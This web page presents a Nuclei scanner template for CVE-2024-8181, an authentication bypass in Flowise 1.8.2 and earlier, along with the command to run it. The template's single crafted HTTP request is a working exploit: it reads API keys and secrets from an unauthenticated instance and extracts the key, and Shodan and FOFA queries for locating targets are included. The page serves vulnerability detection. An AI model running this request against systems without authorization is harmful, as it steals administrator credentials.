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Flowise <= 1.8.2 Authentication Bypass

ID: CVE-2024-8181

Severity: high

Author: iamnoooob,rootxharsh,pdresearch

Tags: tenable,cve,cve2024,flowise,auth-bypass

Description

Section titled “Description”

An Authentication Bypass vulnerability exists in Flowise version 1.8.2. This could allow a remote, unauthenticated attacker to access API endpoints as an administrator and allow them to access restricted functionality.

YAML Source

Section titled “YAML Source”
id: CVE-2024-8181


info:
  name: Flowise <= 1.8.2 Authentication Bypass
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    An Authentication Bypass vulnerability exists in Flowise version 1.8.2. This could allow a remote, unauthenticated attacker to access API endpoints as an administrator and allow them to access restricted functionality.
  reference:
    - https://www.tenable.com/security/research/tra-2024-33
    - https://tenable.com/security/research/tra-2024-22-0
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8181
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
    cvss-score: 7.3
    cve-id: CVE-2024-8181
    epss-score: 0.00043
    epss-percentile: 0.09544
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:-2051052918
    fofa-query: title:"Flowise"
  tags: tenable,cve,cve2024,flowise,auth-bypass


http:
  - raw:
      - |
        GET /api/v1/apikey?/api/v1/ping HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/plain, */*
        Referer: {{RootURL}}/document-stores


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "apiKey"
          - "apiSecret"
        condition: and


      - type: word
        part: content_type
        words:
          - "application/json"


      - type: status
        status:
          - 200


    extractors:
      - type: regex
        name: apiKey
        part: body
        internal: false
        group: 1
        regex:
          - '"apiKey":"([^"]+)"'
# digest: 4b0a00483046022100dc7344d7e282a2a8c12f1bfe4504f3bdda4f250f31882de6bebb2168f392091e022100aa6869eeaaa6e00d435c73cebadd2072498b22559a590ef0091a3c7aef7b2f98:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-8181.yaml"

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